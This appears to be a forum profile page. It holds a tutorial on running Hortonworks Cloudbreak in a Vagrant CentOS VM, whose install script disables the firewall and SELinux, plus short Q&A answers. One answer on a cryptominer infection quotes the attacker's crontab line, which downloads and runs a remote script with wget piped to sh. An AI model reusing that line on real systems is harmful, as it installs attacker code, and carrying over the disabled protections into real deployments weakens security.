  You should already have installed VirtualBox 5.x. Read more here: VirtualBox   You should already have installed Vagrant 2.x. Read more here: Vagrant   You should already have installed the vagrant-vbguest plugin. This plugin will keep the VirtualBox Guest Additions software current as you upgrade your kernel and/or VirtualBox versions. Read more here: vagrant-vbguest   You should already have installed the vagrant-hostmanager plugin. This plugin will automatically manage the /etc/hosts file on your local computer and in your virtual machines. Read more here: vagrant-hostmanager   Scope  
 This tutorial was tested in the following environment:  
  macOS Sierra (version 10.13.4)   VirtualBox 5.2.6   Vagrant 2.1.1   vagrant-vbguest plugin 0.15.2   vagrant-hostnamanger plugin 1.8.9   Cloudbreak 2.4.1   Steps  Setup Vagrant  Create Vagrant project directory  
 Before we get started, determine where you want to keep your Vagrant project files. Each Vagrant project should have its own directory. I keep my Vagrant projects in my ~/Development/Vagrant directory. You should also use a helpful name for each Vagrant project directory you create. 
 $ cd ~/Development/Vagrant
$ mkdir centos7-cloudbreak
$ cd centos7-cloudbreak
  
 We will be using a CentOS 7.4 Vagrant box, so I include centos7 in the Vagrant project name to differentiate it from a CentOS 6 project. The project is for cloudbreak, so I include that in the name.  Create Vagrantfile  
 You need to create a file named  Vagrantfile . The Vagrantfile tells Vagrant how to configure your virtual machines. You can copy/paste my Vagrantfile below: 
 # -*- mode: ruby -*-
# vi: set ft=ruby :
# Using yaml to load external configuration files
require 'yaml'
Vagrant.configure("2") do |config|
  # Using the hostmanager vagrant plugin to update the host files
  config.hostmanager.enabled = true
  config.hostmanager.manage_host = true
  config.hostmanager.manage_guest = true
  config.hostmanager.ignore_private_ip = false
  # Run install script
  config.vm.provision "shell", path: "install.sh"
  # Loading in the VM configuration information
  servers = YAML.load_file('servers.yaml')
  servers.each do |servers| 
    config.vm.define servers["name"] do |srv|
      srv.ssh.username = "vagrant"
      srv.ssh.password = "vagrant"
      srv.vm.box = servers["box"] # Speciy the name of the Vagrant box file to use
      srv.vm.hostname = servers["name"] # Set the hostname of the VM
      srv.vm.network "private_network", ip: servers["ip"], :adapater=>2 # Add a second adapater with a specified IP
      srv.vm.provision :shell, inline: "sed -i'' '/^127.0.0.1\t#{srv.vm.hostname}\t#{srv.vm.hostname}$/d' /etc/hosts" # Remove the extraneous first entry in /etc/hosts
      srv.vm.provider :virtualbox do |vb|
        vb.name = servers["name"] # Name of the VM in VirtualBox
        vb.cpus = servers["cpus"] # How many CPUs to allocate to the VM
        vb.memory = servers["ram"] # How much memory to allocate to the VM
      end
    end
  end
end
  Create a servers.yaml file  
 You need to create a file name  servers.yaml . The servers.yaml file contains the configuration information for our VMs. Here is the content from my file: 
 ---
- name: cloudbreak
  box: bento/centos-7.4
  cpus: 2
  ram: 4096
  ip: 192.168.56.100
  
 NOTE: You may need to modify the IP address to avoid conflicts with your local network.  Create install.sh file  
 You need to create a file called  install.sh . The install.sh file is a script that will run on your VM the first time it is provisioned. The line the 
  Vagrantfile  that runs this is here: 
   config.vm.provision "shell", path: "install.sh"
  
 This allows us to automate configuration tasks that would other wise be tedious and/or repetitive. Here is the content from my file: 
 #!/bin/bash
# Install prerequisites
sudo yum -y update
sudo yum -y install net-tools ntp wget lsof unzip tar iptables-services
# Enable NTP
sudo systemctl enable ntpd && sudo systemctl start ntpd
# Disable Firewall
sudo systemctl disable firewalld && sudo systemctl stop firewalld
sudo iptables --flush INPUT && sudo iptables --flush FORWARD && sudo service iptables save
# Disable SELINUX
sudo sed -i --follow-symlinks 's/^SELINUX=.*/SELINUX=disabled/g' /etc/sysconfig/selinux
# Create Docker repo
cat > /etc/yum.repos.d/docker.repo <<EOF
[dockerrepo]
name=Docker Repository
baseurl=https://yum.dockerproject.org/repo/main/centos/7
enabled=1
gpgcheck=1
gpgkey=https://yum.dockerproject.org/gpg
EOF
# Install Docker, enable and start service
yum install -y docker-engine docker-engine-selinux
systemctl start docker
systemctl enable docker
# Install Cloudbreak application
mkdir /opt/cloudbreak-deployment
cd /opt/cloudbreak-deployment
curl -Ls public-repo-1.hortonworks.com/HDP/cloudbreak/cloudbreak-deployer_2.4.1_$(uname)_x86_64.tgz | sudo tar -xz -C /bin cbd
  
 This installation script performs the prerequisite package installations and configurations. This script also automates most of the Cloudbreak installation tasks.  
 Note: The last line is a curl call to download a specific version of Cloudbreak.  If you want to install 2.7.2 or 2.8.0 TP, then update the version in the URL of the curl command.  Start Virtual Machine  
 Once you have created the 3 files in your Vagrant project directory, you are ready to start your instance. Creating the instance for the first time and starting it every time after that uses the same 
  vagrant up  command.  
 $ vagrant up
  
 You should notice Vagrant automatically updating the packages and installing additional packages on the first start of the VM.  
 Once the process is complete you should have 1 vm running. You can verify by looking at the VirtualBox UI where you should see the 
  cloudbreak  VM running. You should see something similar to this: 
 
  
    
  
  Connect to Your Virtual Machine  
 You should be able to login to your VM using the 
  vagrant ssh  command. You should see something similar to the following: 
 $ vagrant ssh
[vagrant@cloudbreak ~]$
  Configure Cloudbreak  
 The installation of Cloudbreak is covered well in the docs: 
 Cloudbreak Install Docs. However, we've automated most of the tasks using the  install.sh  script. You can skip down to the  Install Cloudbreak on Your Own VM  section, step 3.  
 We need to be root for this, so we'll use 
  sudo . 
 $ sudo -i
  Create Profile file  
 Now you need to setup the Profile file. This file contains environment variables that determines how Cloudbreak runs. Edit 
  Profile  using your editor of choice.  
 You need to include at least 4 settings. 
 export UAA_DEFAULT_SECRET='[SECRET]'
export UAA_DEFAULT_USER_EMAIL='<myemail>'
export UAA_DEFAULT_USER_PW='<mypassword>'
export PUBLIC_IP=192.168.56.100
  
 You should set the 
  UAA_DEFAULT_USER_EMAIL  variable to the email address you want to use. This is the account you will use to login to Cloudbreak. You should set the  UAA_DEFAULT_USER_PW  variable to the password you want to use. This is the password you will use to login to Cloudbreak. You may need to change the value of  PUBLIC_IP  to avoid conflicts on your network.  Verify Cloudbreak Version  
 You should check the version of Cloudbreak to make sure the correct version is installed. 
 [root@cloudbreak cloudbreak-deployment]# cbd --version
  
 You should see something similar to this: 
 [root@cloudbreak cloudbreak-deployment]# cbd --version
Cloudbreak Deployer: 2.4.1
  
 NOTE: We are installing version 2.4.1 which is the latest GA version as of May 2018  Initialize Cloudbreak Configuration  
 Now that you have a profile, you can initialize your Cloudbreak configuration files. First you need to run the 
  cbd generate  command. You should see something similar to the following: 
 [root@cloudbreak cloudbreak-deployment]# cbd generate
* Dependency required, installing sed latest ...
* Dependency required, installing jq latest ...
* Dependency required, installing docker-compose 1.13.0 ...
* Dependency required, installing aws latest ...
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
ff3a5c916c92: Pulling fs layer
ff3a5c916c92: Verifying Checksum
ff3a5c916c92: Download complete
ff3a5c916c92: Pull complete
Digest: sha256:7df6db5aa61ae9480f52f0b3a06a140ab98d427f86d8d5de0bedab9b8df6b1c0
Status: Downloaded newer image for alpine:latest
Generating Cloudbreak client certificate and private key in /opt/cloudbreak-deployment/certs with 192.168.56.100 into /opt/cloudbreak-deployment/certs/traefik.
generating docker-compose.yml
generating uaa.yml
  
 The second step is to pull down the the Docker images used by Cloudbreak using the 
  cbd pull-parallel  command. You should see something similar to the following: 
 [root@cloudbreak cloudbreak-deployment]# cbd pull-parallel
Pulling haveged (hortonworks/haveged:1.1.0)...
1.1.0: Pulling from hortonworks/haveged
Digest: sha256:31c6151ebd88ac65322969c7a71969c0d95d98a9eafd4eaab56e11c62c48c42b
Status: Downloaded newer image for hortonworks/haveged:1.1.0
Pulling uluwatu (hortonworks/hdc-web:2.4.1)...
2.4.1: Pulling from hortonworks/hdc-web
...
  Start Cloudbreak  
 Once you have generated the configuraiton files and pulled down the Docker images, you can start Cloudbreak. You start Cloudbreak using the 
  cbd start  command. You should see something similar to the following: 
 [root@cloudbreak cloudbreak-deployment]# cbd start
generating docker-compose.yml
generating uaa.yml
Pulling haveged (hortonworks/haveged:1.1.0)...
1.1.0: Pulling from hortonworks/haveged
ca26f34d4b27: Pull complete
bf22b160fa79: Pull complete
d30591ea011f: Pull complete
22615e74c8e4: Pull complete
ceb5854e0233: Pull complete
Digest: sha256:09f8cf4f89b59fe2b391747181469965ad27cd751dad0efa0ad1c89450455626
Status: Downloaded newer image for hortonworks/haveged:1.1.0
Pulling uluwatu (hortonworks/cloudbreak-web:1.14.0)...
1.14.0: Pulling from hortonworks/cloudbreak-web
16e32a1a6529: Pull complete
8e153fce9343: Pull complete
6af1e6403bfe: Pull complete
075e3418c7e0: Pull complete
9d8191b4be57: Pull complete
38e38dfe826c: Pull complete
d5d08e4bc6be: Pull complete
955b472e3e42: Pull complete
02e1b573b380: Pull complete
Digest: sha256:06ceb74789aa8a78b9dfe92872c45e045d7638cdc274ed9b0cdf00b74d118fa2
...
Creating cbreak_periscope_1
Creating cbreak_logsink_1
Creating cbreak_identity_1
Creating cbreak_uluwatu_1
Creating cbreak_haveged_1
Creating cbreak_consul_1
Creating cbreak_mail_1
Creating cbreak_pcdb_1
Creating cbreak_uaadb_1
Creating cbreak_cbdb_1
Creating cbreak_sultans_1
Creating cbreak_registrator_1
Creating cbreak_logspout_1
Creating cbreak_cloudbreak_1
Creating cbreak_traefik_1
Uluwatu (Cloudbreak UI) url:
  https://192.168.56.100
login email:
  myoung@hortonworks.com
password:
  ****
creating config file for hdc cli: /root/.hdc/config
  
 The start command will output the IP address and the username to login which is based on what we setup in the Profile.  Check Cloudbreak Logs  
 You can always look at the Cloudbreak logs in /opt/cloudbrea-deployer/cbreak.log. You can also use the 
  cbd logs cloudbreak  command to view logs in real time. Cloudbreak is ready to use when you see a message similar to  Started CloudbreakApplication in 64.156 seconds (JVM running for 72.52) .  Login to Cloudbreak  
 Cloudbreak should now be running. We can login to the UI using the IP address specified in the Profile. In our case that is 
  https://192.168.56.100 . Notice Cloudbreak uses  https .  
 Your browser may display a warning similar to the following: 
 
  
    
  
  
 This is because of the self-signed certificate used by Cloudbreak. You should accept the certificate and trust the site. Then you should see a login screen similar to the following: 
 
  
    
  
  
 At this point you should be able to see the Cloudbreak UI screen where you can manage your credentials, blueprints, etc. This tutorial doesn't cover setting up credentials or deploying a cluster. Before you can deploy a cluster you need to setup 
  credentials . See this link for setting up your credentials:  
 Managing Cloudbreak AWS Credentials  Stopping Cloudbreak  
 When you are ready to shutdown Cloudbreak, the process is simple. First you need to stop Cloudbreak using the 
  cbd kill  command.  You should see something similar to this: 
 [root@cloudbreak cloudbreak-deployment]# cbd kill
Stopping cbreak_traefik_1 ... done
Stopping cbreak_cloudbreak_1 ... done
Stopping cbreak_logspout_1 ... done
Stopping cbreak_registrator_1 ... done
Stopping cbreak_sultans_1 ... done
Stopping cbreak_uaadb_1 ... done
Stopping cbreak_cbdb_1 ... done
Stopping cbreak_pcdb_1 ... done
Stopping cbreak_mail_1 ... done
Stopping cbreak_haveged_1 ... done
Stopping cbreak_consul_1 ... done
Stopping cbreak_uluwatu_1 ... done
Stopping cbreak_identity_1 ... done
Stopping cbreak_logsink_1 ... done
Stopping cbreak_periscope_1 ... done
Going to remove cbreak_traefik_1, cbreak_cloudbreak_1, cbreak_logspout_1, cbreak_registrator_1, cbreak_sultans_1, cbreak_uaadb_1, cbreak_cbdb_1, cbreak_pcdb_1, cbreak_mail_1, cbreak_haveged_1, cbreak_consul_1, cbreak_uluwatu_1, cbreak_identity_1, cbreak_logsink_1, cbreak_periscope_1
Removing cbreak_traefik_1 ... done
Removing cbreak_cloudbreak_1 ... done
Removing cbreak_logspout_1 ... done
Removing cbreak_registrator_1 ... done
Removing cbreak_sultans_1 ... done
Removing cbreak_uaadb_1 ... done
Removing cbreak_cbdb_1 ... done
Removing cbreak_pcdb_1 ... done
Removing cbreak_mail_1 ... done
Removing cbreak_haveged_1 ... done
Removing cbreak_consul_1 ... done
Removing cbreak_uluwatu_1 ... done
Removing cbreak_identity_1 ... done
Removing cbreak_logsink_1 ... done
Removing cbreak_periscope_1 ... done
[root@cloudbreak cloudbreak-deployment]#
  
 Now exit the Vagrant box: 
 [root@cloudbreak cloudbreak-deployment]# exit
logout
[vagrant@cloudbreak ~]$ exit
logout
Connection to 127.0.0.1 closed.
  
 Now we can shutdown the Vagrant box 
 $ vagrant halt
==> cloudbreak: Attempting graceful shutdown of VM...
  Starting Cloudbreak  
 To startup Cloudbreak, the process is the opposite of stopping it. First you need to start the Vagrant box: 
 $ vagrant up
  
 Once the Vagrant box is up, you need to ssh in to the box: 
 $ vagrant ssh
  
 You need to be root: 
 $ sudo -i
  
 Before starting Cloudbreak, make sure you are in the application directory: 
 $ cd /opt/cloudbreak-deployer
 
Now start Cloudbreak using the 
 cbd start  command. You should see something similar to this:
 [root@cloudbreak cloudbreak-deployment]# cbd start
generating docker-compose.yml
generating uaa.yml
Creating cbreak_consul_1
Creating cbreak_periscope_1
Creating cbreak_sultans_1
Creating cbreak_uluwatu_1
Creating cbreak_identity_1
Creating cbreak_uaadb_1
Creating cbreak_pcdb_1
Creating cbreak_mail_1
Creating cbreak_haveged_1
Creating cbreak_logsink_1
Creating cbreak_cbdb_1
Creating cbreak_logspout_1
Creating cbreak_registrator_1
Creating cbreak_cloudbreak_1
Creating cbreak_traefik_1
Uluwatu (Cloudbreak UI) url:
  https://192.168.56.100
login email:
  myoung@hortonworks.com
password:
  ****
creating config file for hdc cli: /root/.hdc/config
[root@cloudbreak cloudbreak-deployment]#
  
 It takes a minute or two for the Cloudbreak application to fully start up. Now you can login to the Cloudbreak UI.  Review  
 If you have successfully followed along with this tutorial, you should now have a Vagrant box you can spin up via 
  vagrant up , startup Cloudbreak via  cbd start  and then create your clusters on the cloud.  
 You can download a copy of my Vagrantfile, server.yaml and install.sh file here: 
 https://github.com/Jaraxal/vagrant-virtualbox-cloudbreak 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
		
			
				
						
							Labels:
						
						
		
	
					
			
		
	
	
	
	
				
		
	
	
			
    
	
		
		
		05-25-2018
	
		
		08:36 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
	
		1 Kudo
		
	
				
		
	
		
					
							@David I ran into something like this recently on a POC cluster.  The problem seen on this cluster was a "yarn" process was consuming 100% of cpu resources on multiple servers.  We shutdown all of the HDP services via Ambari to make sure there wasn't any rogue HDP processes running.  This "yarn" process was still running.  It turns out it was a process running this:  /var/tmp/java -c /var/tmp/w.conf  Killing the process with "kill -9" would kill the process off only for it to respawn a few seconds later.  Removing the "/var/tmp/java" file also only worked for a few seconds before it too returned.  We ended up looking at crontab and found this:  $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1  We removed the crontab entry, killed the running process and remove the java file on all nodes.  The processes no longer returned and we restarted the HDP cluster via Ambari.  The root cause appeared to be security group rules on AWS allowing access to the cluster.  I've seen variations of this reported out of /tmp/java and using "h.conf" instead of "w.conf". 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		03-02-2018
	
		
		05:42 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
				
		
	
		
					
							@Akshat Mathur That is handy, thank you for sharing!  If you think my response was helpful, please accept the answer to make it easier for others to find answers. 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		03-02-2018
	
		
		01:26 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
	
		1 Kudo
		
	
				
		
	
		
					
							 @Akshat Mathur  If you describe the table in hive, you should be able to see the compression algorithm applied to the table:  hive> describe formatted <hive_table>;  I don't believe there is a quick way to see if it is compressed via HDFS. 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		
			
    
	
		
		
		03-02-2018
	
		
		01:00 PM
	
	
	
	
	
	
	
	
	
	
	
	
	
	
		
	
				
		
			
					
				
		
	
		
					
							 @Dmitro Vasilenko   If you think my answer was helpful, please accept it to make it easier for others to find. 
						
					
					... View more
				
			
			
			
			
			
			
			
			
			
		 
         
					
				













